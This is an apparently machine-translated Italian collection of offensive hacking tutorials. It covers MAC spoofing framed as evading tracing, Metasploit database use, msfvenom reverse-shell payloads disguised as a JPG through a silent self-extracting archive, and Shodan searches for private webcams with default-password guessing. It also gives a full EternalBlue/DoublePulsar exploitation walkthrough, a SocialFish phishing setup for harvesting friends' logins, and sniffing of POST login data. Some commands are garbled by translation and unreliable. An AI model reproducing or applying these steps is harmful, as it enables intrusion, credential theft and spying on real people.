E se vuoi semplicemente visualizzare l'indirizzo MAC, puoi usare il comando seguente:

Comando: ip link mostra eth0 | awk '/etere/ {print $2}'

Metodo 5 –

Puoi anche utilizzare il comando seguente per ottenere l'indirizzo MAC di qualsiasi interfaccia insieme ad alcune ulteriori informazioni come mostrato nello screenshot seguente:

Comando: indirizzo ip | grep -C1 "collegamento/etere"

Metodo 6 –

Con il semplice comando ifconfig e grep, puoi anche ottenere lo stesso indirizzo MAC di qualsiasi interfaccia.

Comando: ifconfig eth0 | grep -Eo ..\(\:..\){5}

Metodo 7 –

Con il comando IP LINK SHOW, lo stesso processo può essere eseguito con un solo comando.

Comando: LANG=C ip link show | awk '/link\/etere/ {print $2}'

Metodo 8 –

Per scoprire l'indirizzo MAC, puoi anche utilizzare uno strumento open source chiamato " ethtool " che è già preinstallato nel sistema operativo Kali Linux.

Comando: ethtool -P eth0 | awk '{stampa $NF}'

Metodo 9 –

Se sei bravo in Python, puoi utilizzare lo script seguente per visualizzare l'indirizzo MAC di tutte le interfacce.

Codice:

#    

sistema operativo di importazione

sys_net = '/sys/class/net'
for dev in os.listdir(sys_net):
with open(os.path.join(os.path.join(sys_net, dev), 'address')) as f:
print dev , f.read(),

Basta salvare il file nell'estensione .py ed eseguire il file con il comando seguente:

Comando: python findmac.py

Metodo 10 –

Dmesg è un'altra utility open source gratuita, attraverso la quale puoi facilmente ottenere l'indirizzo MAC di qualsiasi interfaccia.

Comando:  dmesg | grep et

Cambia indirizzo Mac in Kali Linux (permanentemente)

   

Indirizzo MAC generalmente chiamato Multimedia Access Control e dovresti cambiare il tuo indirizzo MAC prima di eseguire qualsiasi attività di hacking tramite Kali Linux in modo che nessuno possa rintracciarti effettivamente.

Prima di modificare o assegnare un nuovo indirizzo MAC a qualsiasi interfaccia, assicurarsi di dover disattivare quell'interfaccia e quindi eseguire il comando per modificare l'indirizzo MAC.

Ad esempio, se si desidera modificare l'indirizzo MAC dell'interfaccia eth0 (Ethernet-0), è necessario disattivare tale interfaccia digitando il comando " ifconfig eth0 down " nel terminale. Successivamente è necessario eseguire il seguente comando che modifica rapidamente l'indirizzo MAC dell'interfaccia eth0.

Comando: ifconfig eth0 hw ether 00:11:22:33:44:55

Dopodiché basta UP quell'interfaccia eth0 digitando " ifconfig eth0 up " nello stesso terminale come mostrato nello screenshot qui sotto.

Se desideri modificare l'indirizzo MAC dell'interfaccia wireless (wlan0 nel nostro caso, potrebbe essere diverso per te, dipende dalla scheda/adattatore wireless che stai utilizzando).

Digita " iwconfig " per vedere tutte le interfacce wireless disponibili.

Inoltre, devi ripetere gli stessi passaggi che hai fatto per l'interfaccia Ethernet, ma qui devi usare un altro strumento chiamato " Macchanger " che è uno strumento open source ed è già preinstallato in ogni macchina Kali Linux.

Digita " ifconfig wlan0 down " per disattivare l'interfaccia, quindi digita il seguente comando per modificare l'indirizzo mac con macchanger come mostrato di seguito:

Comando: macchanger -m 00:11:22:33:44:55 wlan0

Alla fine, UP quell'interfaccia wlan0 digitando " ifconfig wlan0 up ".

Per renderlo permanente ad ogni riavvio, è necessario modificare il file di configurazione delle interfacce di rete che si trova in " /etc/network/interfaces " e aggiungere la seguente riga alla fine del file.

pre-up ifconfig eth0 hw ether 00:33:55:77:99:00

Non dimenticare di riavviare i servizi di rete ( service network-manager restart ).

Inoltre, se vuoi semplicemente vedere il MAC corrente e permanente, puoi digitare " macchanger -s eth0 " e impostare l'indirizzo MAC in modo casuale, il comando è " macchanger -r eth0 " che ti dà un nuovo indirizzo MAC casuale per eth0 interfaccia.

Come mostrato nello screenshot sopra, Macchanger ti mostrerà l'indirizzo MAC permanente, attuale e modificato. L'indirizzo MAC permanente verrà ripristinato sulla scheda di rete dopo un riavvio oppure è possibile reimpostare manualmente l'indirizzo MAC della scheda di rete. Utilizzare il seguente comando per ripristinare manualmente l'indirizzo MAC permanente sulla scheda di rete:

Comando: macchanger -permanent eth0

Se ricevi alcuni errori relativi a MAC Modifica come " ERRORE: Impossibile modificare MAC: interfaccia attiva o non autorizzata: Impossibile assegnare l'indirizzo richiesto ", devi disattivare l'interfaccia digitando " ifconfig eth0 down " o " ifconfig wlan0 down ", quindi provare a modificare l'indirizzo Mac.

Puoi anche programmare il tuo computer per generare automaticamente un indirizzo MAC casuale al riavvio immettendo i seguenti comandi nel Terminale:

Innanzitutto, accedi come root, quindi inserisci crontab -e . Questo caricherà un programma o ti consentirà di selezionare un programma per caricarlo con un nano editor simile. Una volta caricato crontab, inserisci una nuova riga in fondo come questa: @reboot macchanger -r eth0 . (Assicurati che NON ci sia un # prima della riga. Il cancelletto sostanzialmente dice al programma " ignora questa riga ".)

Quindi basta " Scrivi " (salva) ed esci da crontab. Riavvia il computer per testarlo.

Potresti riscontrare un problema, come il nostro, in cui l'indirizzo MAC generato casualmente non garantisce l'accesso alla rete…. non impazzire, generane semplicemente uno nuovo con macchanger -r eth0 fino a quando non lo fa.

Comandi Metasploit DB [Cheatsheet         ]

   

La fase di post-sfruttamento inizia sempre dopo che hai compromesso uno o più sistemi ma non sei ancora vicino al completamento.

Metasploit generalmente offre più di un'interfaccia per le sue funzionalità sottostanti, tra cui console, riga di comando e interfacce grafiche. Oltre a queste interfacce, le utility forniscono l'accesso diretto a funzioni che normalmente sono interne al Metasploit Framework. Queste utilità possono essere preziose per lo sviluppo di exploit e situazioni per le quali non è necessaria la flessibilità dell'intero Framework.

Leggi anche: Hack Windows 10 in remoto su WAN con Metasploit Framework

Quando incontri il Metasploit Framework (MSF) per la prima volta, potresti essere sopraffatto dalle sue numerose interfacce, opzioni, utilità, variabili e moduli.

Lettura consigliata: i più importanti comandi Metasploit di Hacking Loops

In questo articolo, ci concentreremo sulle nozioni di base che ti aiuteranno a dare un senso al quadro generale relativo ai comandi del database utilizzati da Metasploit Framework. Prima di utilizzare il database, è necessario avviare il server PostgreSQL digitando " systemctl start postgresql " nel terminale.

Dopo aver avviato il server PostgreSQL, è necessario creare e inizializzare il database msf con " msfdb init ".

Ora avvia il framework metasploit in modalità console, digitando " msfconsole " ed esegui " db_status " per confermare se il tuo database è connesso o meno a metasploit.

Msfconsole è di gran lunga la parte più popolare del Metasploit Framework, e per una buona ragione. È uno degli strumenti più flessibili, ricchi di funzionalità e ben supportati all'interno del Framework. Msfconsole fornisce una comoda interfaccia all-in-one per quasi tutte le opzioni e impostazioni disponibili nel Framework; è come uno sportello unico per tutti i tuoi sogni di sfruttamento.

È possibile utilizzare msfconsole per fare qualsiasi cosa, compreso l'avvio di un exploit, il caricamento di moduli ausiliari , l'esecuzione di enumerazione, la creazione di listener o l'esecuzione di sfruttamento di massa su un'intera rete.

Una volta connessi al database, possiamo iniziare a organizzare i nostri diversi movimenti utilizzando quelli che vengono chiamati "spazi di lavoro" che ci danno la possibilità di salvare diverse scansioni da diverse reti/sottoreti/posizioni.

Digita "workspace -a name " per creare un nuovo workspace seguito dal nome al prompt di msfconsole.

Per vedere tutte le aree di lavoro, basta digitare " area di lavoro " e per eliminare qualsiasi area di lavoro, digitare " area di lavoro -d nome ".

È così semplice, l'utilizzo dello stesso comando e l'aggiunta dell'opzione  -h ci forniranno le altre funzionalità del comando come mostrato di seguito:

Ora che siamo connessi al nostro database e alla configurazione dell'area di lavoro, diamo un'occhiata a popolarlo con alcuni dati. Per prima cosa esamineremo i diversi comandi db_  disponibili per l'uso utilizzando il comando ' help ' dalla msfconsole.

Nel primo passaggio, basta inizializzare una scansione rispetto al target con Nmap e salvare l'output di Nmap in un file XML con l' opzione -oX . In questo caso, stiamo usando Metasploitable2 come destinazione il cui indirizzo IP è 192.168.36.132 che potrebbe essere diverso nel tuo caso e la macchina Kali Linux come macchina attaccante.

Iniziamo importando una scansione nmap usando il comando db_import seguito dal percorso del nostro file. Una volta completato, puoi facilmente confermarlo digitando il  comando hosts per vedere tutti i target disponibili.

Puoi anche scansionare un host direttamente dalla console usando il comando " db_nmap ". I risultati della scansione verranno salvati nel database corrente. Il comando funziona allo stesso modo della versione a riga di comando di nmap.

Comando: db_nmap -A 192.168.36.132

Nmap è di gran lunga lo strumento di scansione delle porte più popolare . Si integra con Metasploit in modo abbastanza elegante, memorizzando l'output della scansione in un back-end del database per un uso successivo. Nmap ti consente di scansionare gli host per identificare i servizi in esecuzione su ciascuno, ognuno dei quali potrebbe offrire un modo per entrare.

Ora il prossimo passo è esportare tutto l'output in un file. Esportare tutti i dati al di fuori dell'ambiente Metasploit è molto semplice. Utilizzando il comando “ db_export ” tutte le informazioni raccolte possono essere salvate in un file XML. Questo formato può essere facilmente utilizzato e manipolato in seguito per scopi di reporting.

Questo comando ha 2 output, il  formato xml che esporterà tutte le informazioni attualmente archiviate nel nostro spazio di lavoro attivo e il  formato pwdump che esporta tutto ciò che riguarda le credenziali utilizzate/raccolte.

Per esportare tutto l'output in un formato XML, digitare " db_export -f xml /root/filename.xml ".

Ora che possiamo facilmente importare ed esportare tutte le informazioni da e verso il nostro database, diamo un'occhiata a come possiamo utilizzare queste informazioni all'interno di msfconsole. Sono disponibili molti comandi per cercare informazioni specifiche memorizzate nel nostro database. Nomi host, indirizzo, servizi rilevati ecc. Possiamo persino utilizzare i dati risultanti per popolare le impostazioni del modulo come RHOSTS.

Inizieremo chiedendo al comando hosts di visualizzare solo l'indirizzo IP e l'indirizzo Mac utilizzando l'  opzione -c .

Comando: host -c indirizzo, mac

Un'altra caratteristica interessante a nostra disposizione è la possibilità di cercare in tutte le nostre voci qualcosa di specifico con l'aiuto dell'opzione -S per ottimizzare i risultati.

Comando: hosts -c address,mac,os_name -S Linux

Proviamo a utilizzare il comando hosts all'interno di un modulo di scansione ausiliario. In questo caso, carichiamo semplicemente un modulo di scansione TCP (ausiliario/scanner/portscan/tcp).

Nella schermata sopra, come puoi vedere, la voce RHOSTS è vuota, quindi qui abbiamo due opzioni per impostare un'opzione RHOSTS. È possibile impostare l'opzione RHOSTS digitando "set RHOSTS <target>" oppure è possibile impostare direttamente l'opzione RHOSTS digitando il comando " hosts -c address,os_name -S Linux -R ".

Un altro modo per cercare nel database è utilizzare il  comando services . Come negli esempi precedenti, possiamo estrarre informazioni molto specifiche con poco sforzo.

Digita  services -h per visualizzare tutte le opzioni disponibili.

Allo stesso modo del comando hosts, puoi anche specificare quali campi visualizzare. Accoppiato con l' opzione -S , possiamo anche cercare un servizio contenente una particolare stringa come mostrato di seguito:

Qui stiamo cercando tutti gli host contenuti nel nostro database con un nome di servizio contenente la stringa http .

È inoltre possibile utilizzare porte specifiche o intervalli di porte. Nome del servizio completo o parziale quando si utilizzano le opzioni -s o -S . Per tutti gli host o solo per pochi eletti. La lista potrebbe continuare all'infinito.

Di seguito sono riportati alcuni esempi, ma potrebbe essere necessario sperimentare queste funzionalità per ottenere ciò che si desidera e necessitare delle ricerche.

Entrambi i comandi hosts e services ci danno un mezzo per salvare i risultati della nostra query in un file. Il formato del file è un valore separato da virgola o CSV. Seguito da -o con percorso e nome file, le informazioni che sono state visualizzate sullo schermo a questo punto verranno ora salvate su disco.

Comando: servizi -s http -c porta 192.168.36.132 -o /root/nomefile.csv

Supponiamo che tu abbia le credenziali corrette di qualsiasi servizio/modulo con qualsiasi mezzo. Il  comando creds viene utilizzato per gestire le credenziali trovate e utilizzate per le destinazioni nel nostro database. L'esecuzione di questo comando senza alcuna opzione visualizzerà le credenziali attualmente salvate.

Le installazioni di Microsoft SQL Server (MS SQL) mal configurate spesso forniscono un primo accesso a una rete di destinazione. In effetti, molti amministratori di sistema non si rendono nemmeno conto di avere server MS SQL installati sulle loro workstation, perché il servizio è installato come prerequisito per alcuni software comuni, come Microsoft Visual Studio. Queste installazioni sono spesso inutilizzate, prive di patch o mai nemmeno configurate.

Sfruttamento di Windows 10 con un'immagine [Metasploit Framework –         ]

   

Metasploit è attualmente la parola più in voga nel campo della sicurezza delle informazioni e dei test di penetrazione. Ha completamente rivoluzionato il modo in cui possiamo eseguire test di sicurezza sui nostri sistemi. Il motivo che rende Metasploit così popolare è l'ampia gamma di attività che può eseguire per facilitare il lavoro di penetration test per rendere i sistemi più sicuri. Metasploit è disponibile per tutti i sistemi operativi più diffusi. Il processo di lavoro del framework è quasi lo stesso per tutti.

Qui in questo articolo, lavoreremo principalmente sul sistema operativo Kali Linux poiché viene fornito con il framework Metasploit preinstallato e altri strumenti di terze parti che vengono eseguiti sul framework.

Iniziamo con Msfvenom, una suite all-in-one, per creare e codificare il tuo payload!

Msfvenom è uno strumento molto utile per generare rapidamente codici shell utilizzando diversi payload disponibili nel framework. Questi codici shell possono essere implementati nel codice di exploit per fornire una connessione con l'attaccante una volta che la vulnerabilità è stata sfruttata.

Leggi anche: Hack Android utilizzando Metasploit su WAN

Per generare uno shellcode per Windows 10, digita il seguente comando nel tuo terminale:

Comando: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Il tuo IP> LPORT=4444 -f exe > virus.exe

Per ulteriori opzioni disponibili, puoi anche digitare " msfvenom -h ". Ci sono così tanti parametri interessanti da guardare. Il parametro -n crea una slitta NOP delle dimensioni del payload. Un altro parametro interessante è -b , che ci dà la possibilità di evitare i caratteri comuni di un exploit, come \x00 . Questo può essere davvero utile per eludere i programmi antivirus.

Per utilizzare msfvenom con la codifica, devi passare un payload insieme a uno stile di codifica come mostrato di seguito:

Comando: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=<YourIP> LPORT=4444 -f exe > virus.exe

Ora che il nostro eseguibile è pronto, dovremo impostare un listener nella nostra msfconsole per ascoltare una connessione di ritorno quando il target esegue questo file:

Per avviare Metasploit Framework, digita  msfconsole nel tuo terminale.

Ed esegui il seguente comando per avviare il processo multi/handler

Comando: usa exploit/multi/handler

Il prossimo passo è definire il payload con l'aiuto del comando set payload . Meterpreter è un payload avanzato che migliora notevolmente la potenza dell'esecuzione dei comandi sulla macchina di destinazione. È un interprete di comandi che funziona mediante l'iniezione di DLL in memoria e ci offre molti vantaggi rispetto agli interpreti di comandi tradizionali (generalmente esiste con codici shell), in quanto è più flessibile, stabile ed estensibile.

Può anche funzionare come se diversi payload stessero lavorando insieme sulla macchina di destinazione. Comunica tramite il socket stager e fornisce un'API Ruby completa lato client.

Per prima cosa utilizziamo il modulo multi/handler al primo passaggio, quindi impostiamo il nostro payload in modo che sia una shell inversa di Windows in modo che corrisponda al comportamento dell'eseguibile che abbiamo creato in precedenza con msfvenom, digli LHOST e LPORT su  cui ascoltare, e siamo pronti per partire.

Quindi è necessario digitare una serie di opzioni come mostrato di seguito:

imposta PAYLOAD windows/meterpreter/reverse_tcp
imposta LHOST <il tuo ip>
imposta LPORT 4444

Ancora una volta, ricorda di cambiare LHOST con il tuo indirizzo IP locale e di cambiare LPORT se hai usato qualcosa di diverso da 4444 .

Ora, se invii direttamente questo virus.exe (che abbiamo creato nel primo passaggio), nessuno lo farà clic o lo eseguirà a causa del suo comportamento e del suo nome, ma se leghiamo questo file eseguibile con un'immagine (jpg ) , allora le possibilità sono maggiori eseguire.

Ora faremo sembrare il nostro eseguibile un'immagine, poiché attualmente l'icona è quella predefinita che sembra così brutta!

Scarica la tua immagine JPG preferita da online e salva nella stessa directory in cui hai salvato il tuo payload eseguibile come da screenshot qui sotto.

Inoltre, è necessaria anche un'icona in miniatura per il payload finale in modo da poter creare maggiore fiducia con l'utente.

Convertiremo image.jpg  in un'icona. Per farlo, vai su  https://convertico.com/jpg-to-ico/ che genera il file .ico in meno di 20 secondi.

Quindi, abbiamo ottenuto tutti i file (.ico, .jpg e .exe) come mostrato di seguito:

Nel passaggio successivo, è necessario creare un archivio di entrambi i file, ad esempio ( image.jpg e virus.exe ) come mostrato di seguito:

Successivamente, imposta tutte le cose come indicato nello screenshot seguente:

e quindi fare clic su Scheda Avanzate .

Nella  scheda Avanzate  , fai clic sul  pulsante Opzioni SFX..

Il che aprirà ulteriormente una nuova finestra di dialogo in cui è necessario configurare alcune opzioni come:

Qui, non mettere C:\ in questo campo perché quando clicchi sull'immagine finale alla fine, ti chiederà di eseguire con permessi amministrativi e il tuo bersaglio capirà facilmente che si tratta di un virus. Quindi, per renderlo stupido, usa sempre D:\ o E:\ drive o puoi anche lasciarlo vuoto.

Ma se lasci questo campo vuoto, estrarrà entrambi i file (image.jpg e virus.exe) nella stessa directory.

Inoltre, vai alla seconda scheda che è  impostata  dove devi aggiungere due righe di codice in cui la prima riga sarà il nome della tua immagine, ad esempio image.jpg e la seconda riga contiene il nome del tuo payload che è  virus.exe nel nostro caso nell'area " Run After Extraction ".

Ora devi anche impostare l'icona come miniatura sotto l'opzione " Carica l'icona SFX dal file " in modo che il file appaia come un file immagine corretto.

E devi anche cambiare l' opzione della modalità silenziosa in Nascondi tutto  in " Modalità " come mostrato di seguito:

Infine, ma non meno importante, fai clic su " Sovrascrivi tutti i file " nella  scheda di aggiornamento  perché ogni volta che l'utente apre quell'immagine, i file che sono stati estratti verranno sostituiti istantaneamente nella stessa directory che abbiamo configurato nel passaggio precedente.

Quando qualcuno fa clic su questa immagine, si aprirà nell'editor di foto predefinito e, allo stesso tempo, il file exe o il virus verranno eseguiti nel back-end.

Tornando alla nostra macchina dell'attaccante, ovvero Kali Linux, la sessione Meterpreter è stata stabilita con successo e ora abbiamo accesso alla macchina del bersaglio ( Windows 10 ) come mostrato di seguito.

Digita  sysinfo per saperne di più sul sistema operativo e sull'architettura di destinazione.

Puoi anche eseguire ulteriori comandi utili come pwd (Present working Directory), getpid (Current Process ID) e Screenshot (Active Window) ecc.

Puoi anche iniziare usando un semplice ? comando che elencherà tutti i comandi Meterpreter disponibili, insieme a una breve descrizione.

Ci sono molti altri comandi meterpreter , che ti stiamo lasciando provare ed esplorare. Potresti aver notato quanto sia facile usare i comandi Meterpreter ed esplorare l'obiettivo che sarebbe stato un compito difficile senza di esso.

Trova webcam vulnerabili con Shodan [Metasploit Framework]

   

Come tutti sappiamo, Shodan è uno dei motori di ricerca più popolari e pericolosi che ti fornisce tutte le informazioni dai banner e dai dispositivi abilitati al web come router/interruttori/semafori/scada/telecamere ecc.

Esistono molti modi per trovare webcam su Shodan. Di solito, utilizzare il nome del produttore della webcam è un buon inizio. Ricorda, Shodan indicizza le informazioni nel banner, non il contenuto.

Oggi ti mostreremo come trovare le webcam vulnerabili con l'aiuto di Shodan e Metasploit Framework. Per avviare Metasploit Framework, digita " msfconsole " dal tuo terminale.

Digita " search shodan " per visualizzare tutti i moduli/exploit disponibili relativi al motore di ricerca shodan.

Da tutti i risultati precedenti, digita semplicemente " usa ausiliario/gather/shodan_search "

Questo modulo utilizza l'API Shodan per cercare Shodan. L'output del modulo viene visualizzato sullo schermo e può essere salvato in un file o nel database MSF. Digita "mostra opzioni" per tutte le opzioni richieste relative al modulo precedente.

Consulta il sito di Shodan per ulteriori informazioni sulla chiave API .

Per impostare la chiave Shodan, digitare " set SHODAN_APIKEY <Your key here> " e inoltre è necessario impostare la query che si desidera cercare.

Nel nostro caso, mostreremo le webcam vulnerabili, quindi digita " set QUERY webcamxp " e quindi esegui il modulo digitando  run o  exploit dalla console msf.

Non appena esegui il modulo, otterrai tutti i risultati che mostrano tutte le webcam aperte vulnerabili ospitate in luoghi diversi.

Ecco una delle telecamere ospitate in un angolo dell'edificio sul tetto.

Sebbene alcune di queste webcam non siano protette, molte richiedono l'autenticazione. Il primo passo è provare il nome utente e la password predefiniti. Di seguito abbiamo compilato un breve elenco di nome utente e password predefiniti di alcune delle webcam più utilizzate.

Non vi è alcuna garanzia che funzionino, ma molti amministratori e individui disattenti e pigri lasciano semplicemente le impostazioni predefinite e, in quei casi, questi nome utente e password ti daranno accesso a webcam riservate e private in tutto il mondo!

Puoi fare lo stesso anche attraverso il portale web, ad esempio se vuoi cercare le webcam del solo paese degli Stati Uniti, la query di ricerca è "webcamxp country:US " che mostrerà tutti i risultati del paese degli Stati Uniti come mostrato di seguito.

Per essere ancora più specifici, possiamo restringere la nostra ricerca a una singola città. Vediamo cosa possiamo trovare in Messico. Possiamo trovare quelle webcam digitando " webcamxp city:Mexico "

Shodan ci consente persino di essere molto specifici nella ricerca di dispositivi abilitati per il web. In alcuni casi, possiamo specificare la longitudine e la latitudine dei dispositivi che vogliamo trovare.

In questo caso, cercheremo le telecamere WebcamXP alla longitudine e latitudine (19.4357,-99.1439) della città del Messico. Quando cerchiamo, otteniamo un elenco di ogni WebcamXP a quelle coordinate sul globo.

Sfruttamento di EternalBlue DoublePulsar [Windows 7 – 64bit] con Metasploit Framework

   

EternalBlue Metasploit sfrutta una vulnerabilità nell'implementazione di Microsoft del protocollo Server Message Block (SMB). La vulnerabilità esiste perché il server SMB versione 1 (SMBv1) in varie versioni di Microsoft Windows gestisce in modo errato i pacchetti appositamente predisposti da aggressori remoti, consentendo loro di eseguire codice arbitrario sul computer di destinazione.

Secondo i dipendenti ufficiali della NSA, EternalBlue è stato utilizzato come parte dell'attacco ransomware mondiale WannaCry, trapelato dal gruppo di hacker Shadow Brokers. L'exploit è stato anche segnalato per essere utilizzato come parte dei vari trojan bancari.

Questo exploit è una combinazione di due strumenti " EternalBlue " che viene utilizzato come backdoor in Windows e " DoublePulsar " che viene utilizzato per iniettare file dll con l'aiuto del payload.

Fondamentalmente abbiamo diviso questo articolo in 3 fasi, ovvero scansione, sfruttamento e risoluzione dei problemi!

FASE I – Scansione –

In questa fase, confermeremo solo se l'obiettivo è vulnerabile o meno. Prima di andare, assicurati di dover eseguire il comando " apt update " per aggiornare tutti i repository e i pacchetti. Questi nuovi moduli possono essere trovati solo nella versione più recente di Metasploit Framework.

Con l'aiuto di NMAP, puoi facilmente confermare questa vulnerabilità digitando il seguente comando nel tuo terminale.

Comando: nmap –script smb-vuln-ms17-010 -p445 192.168.20.129

Se il bersaglio è vulnerabile, vedrai un output simile allo screenshot qui sotto:

Se si desidera confermare lo stesso con Metasploit Framework, è necessario eseguire un modulo di scansione ausiliario sul target.

Comando: usa ausiliario/scanner/smb/smb_ms17_010

Inoltre, digita  show options per mostrare tutte le informazioni correlate del modulo.

Qui puoi definire il tuo obiettivo digitando " set RHOSTS 192.168.20.129 " e quindi eseguire il modulo digitando  il comando run  .

Dall'output sopra, sembra che il nostro obiettivo, Windows 7 a 64 bit , sia vulnerabile a MS17-010  , quindi possiamo procedere con la parte di sfruttamento.

FASE II – Sfruttamento –

Apri un nuovo terminale in Kali Linux e digita il seguente comando per scaricare questo exploit da github .

Comando: git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

Una volta scaricato l'exploit richiesto, è necessario copiare il file ruby ​​eternalblue_doublepulsar.rb nella directory /usr/share/metasploit-framework/modules/exploits/windows/smb in modo da poter utilizzare questo exploit all'interno di metasploit.

Per copiare il file ruby ​​nella directory appropriata, digita il seguente comando:

Comando: cp -rf eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

Quindi, per utilizzare l'exploit sopra copiato, digitare " use exploit/windows/smb/eternalblue_doublepulsar " e digitare show options per vendere tutte le opzioni richieste relative all'exploit di cui sopra .

Ora imposta i seguenti parametri:

set RHOST 192.168.20.129
set RPORT 445
set TARGETARCHITECTURE x64
set PROCESSINJECT lsass.exe
set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/

Devi anche impostare il payload a 64 bit perché il tuo obiettivo è il sistema operativo a 64 bit.

imposta payload windows/x64/meterpreter/reverse_tcp
imposta LHOST 192.168.20.128
imposta LPORT 4444

Dopo aver configurato tutte le opzioni, basta digitare  run command per eseguire l'exploit.

Non appena esegui, otterrai immediatamente una connessione inversa Meterpreter contro la macchina di destinazione e può essere verificata digitando  sysinfo.

Puoi controllare ulteriormente tutti i processi digitando " ps " nella console meterpreter e puoi persino terminare qualsiasi processo digitando " kill <process id> " come mostrato di seguito:

FASE 3 – Risoluzione dei problemi –

A volte, riceverai un errore del tipo " Exploit Failed: Errno::ENOENT No such file or directory @ rb_sysopen – /root/.wine/drive_c/eternal11.dll " come mostrato di seguito.

Per correggere questo tipo di errori, devi semplicemente creare una directory con l'opzione -p come mostrato di seguito:

Comando: mkdir -p /root/.wine/drive_c/

Se ricevi ancora errori relativi a WINE32, devi installare l'utility Wine32 digitando " dpkg –add-architecture i386 && apt-get update && apt-get install wine32 ".

Se ricevi alcuni errori relativi all'architettura come " Errore durante l'invio di una DLL di architettura errata alla destinazione " come mostrato di seguito, significa che stai utilizzando un payload errato, assicurati di utilizzare il payload windows/x64/meterpreter/reverse_tcp per 64- sistemi operativi bit.

Assicurati che l'architettura di destinazione sia corretta, quindi utilizza il payload appropriato:

Se ricevi un errore relativo a "Backdoor è già installato", significa che devi impostare il valore di PROCESSINJECT su lsass.exe (per 64 bit) e per 32 bit, riteniamo che sia wlms.exe come mostrato di seguito:

Ultimo strumento di phishing con Ngrok [SocialFish]

   

SocialFish è uno strumento open source attraverso il quale puoi facilmente creare una pagina di phishing dei siti Web più popolari come Facebook/Twitter/Github ecc. URL.

Ngrok fornisce anche un'interfaccia utente Web in tempo reale in cui è possibile analizzare tutto il traffico HTTP in esecuzione sui tunnel.

Disclaimer –  L'uso del SocialFish è COMPLETA RESPONSABILITÀ dell'UTENTE FINALE. Gli sviluppatori NON si assumono alcuna responsabilità e NON sono responsabili per qualsiasi uso improprio o danno causato da questo programma.

Per installare SocialFish, devi clonare il repository da Github digitando il seguente comando nel tuo terminale.

Comando: git clone https://github.com/UndeadSec/SocialFish.git

Nel passaggio successivo, è necessario installare tutti i pacchetti necessari di cui SocialFish ha bisogno con l'aiuto del seguente comando:

Comando: sudo pip install -r requisiti.txt

Come puoi vedere, tutti i requisiti sono già soddisfatti nella nostra macchina, quindi dopodiché devi solo eseguire lo strumento digitando " python SocialFish.py " che controllerà ulteriormente il pacchetto ngrok se è installato o meno, in caso contrario lo farà scarica e installa automaticamente ngrok nel tuo computer.

Non appena si preme Y per accettare i termini e le condizioni, verrà inoltre chiesto di scegliere l'opzione per la quale si desidera creare la pagina di phishing, ma prima di selezionare l'opzione, assicurarsi che il servizio ngrok sia in esecuzione in background.

Per avviare il servizio ngrok con il protocollo http, digitare "./ngrok http 80 " nella directory del server

Come puoi vedere, ngrok è in esecuzione sulla porta 80 con un URL casuale che in realtà inoltra tutto il traffico dal tunnel ngrok a localhost. Quindi abbiamo deciso di andare con Twitter.

Attualmente, SocialFish Tool supporta solo Facebook, Twitter, Github, WordPress, Google, Linkedin e StackOverflow

Nello screenshot sottostante, puoi vedere che il servizio ngrok è in esecuzione con l'URL https://48d24d5d.ngrok.io/ che devi inviare ai tuoi amici con qualsiasi mezzo di comunicazione.

Ecco l'anteprima dell'URL di ngrok che contiene la pagina di phishing di Twitter:

Non appena qualcuno inserisce i suoi dettagli di accesso nella tua pagina di phishing, otterrai immediatamente le credenziali nella schermata di testo in chiaro sul terminale come mostrato di seguito:

Insieme a, puoi anche vedere tutte le statistiche nella schermata di ngrok relative a tutte le richieste GET e POST.

Live Packet Sniffing con Python [Cerca][Post Data]

   

Uno sniffer è un programma che monitora i dati che viaggiano su una rete. Gli sniffer non autorizzati sono pericolosi per la sicurezza della rete perché sono difficili da rilevare e possono essere inseriti quasi ovunque, il che li rende l'
arma preferita degli hacker.

Se utilizzati da individui malintenzionati, gli sniffer possono rappresentare una minaccia significativa per la sicurezza di una rete. Gli intrusi di rete utilizzano lo sniffing per acquisire informazioni riservate e i termini sniffing e intercettazione sono spesso associati a questa pratica. Tuttavia, annusare sta diventando un termine non negativo; la maggior parte delle persone usa i termini sniffing e analisi di rete in modo intercambiabile.

L'utilizzo di uno sniffer in modo illegittimo è considerato un attacco passivo, perché non si interfaccia direttamente né si connette a nessun altro sistema della rete. Uno sniffer può anche essere installato come parte della compromissione di un computer su una rete utilizzando un attacco attivo. La natura passiva degli sniffer è ciò che rende difficile rilevarli.

Gli intrusi utilizzano sniffer sulle reti per:

Quanto sopra sono tutti usi illegali di uno sniffer a meno che tu non sia un penetration tester il cui compito è trovare e segnalare questo tipo di debolezze.

Il primo passo è mettere la tua interfaccia wireless in modalità promiscua digitando il seguente comando nel tuo terminale:

Comando: ip link set wlan0 promisc on

In alternativa, puoi anche utilizzare il seguente comando (facoltativo) per mettere la tua scheda in modalità promiscua con ifconfig:

Comando: ifconfig wlan0 promisc

Per verificare se la tua carta è in modalità promiscua o meno, digita il seguente comando:

Comando: netstat -i | grep -i "wlan0"

Se vedi la lettera P nell'ultima colonna della bandiera, significa che la tua carta è in modalità promiscua.

Ora ecco il semplice script di base di Python che annusa particolari richieste/query da google con il parametro “ /search? “.

Salviamo il file sottostante con nome sniff.py che puoi anche scaricare direttamente da pastebin .

Avvia una richiesta di ricerca su Google con curl ( curl http://www.google.com/search?q=      +hacking+tutorials )

In alto avvia lo sniffer, digita " python sniff.py " che mostra tutte le richieste sniffate a google come mostrato di seguito:

Per presentare di più che contiene più parole, ecco la seconda versione di questo script Python che devi salvare come  sniff_new.py

E qui puoi vedere che tutti i simboli + sono stati sostituiti con uno spazio vuoto. E questo sniffer funzionerebbe solo per il protocollo HTTP, poiché tutti i dati vanno in modo non crittografato.

Inoltre, se vuoi annusare i dati POST di un particolare sito web, ecco la terza versione di questo sniffer chiamato sniff_data.py

Qui, stiamo cercando di annusare i pacchetti di dati POST di way2sms.com  (perché questo non è su https) con l'URL dell'azione ( Login1.action ) che puoi facilmente acquisire tramite gli strumenti di Browser Dev o con Burp Suite.

Ora questo script, ciò che fa è fondamentalmente controllare le visite al sito di destinazione. Successivamente, alla riga in cui controlla che le intestazioni siano una richiesta, verifica che l'intestazione venga generata per way2sms.com. Dopo di che sta il resto della nostra logica.

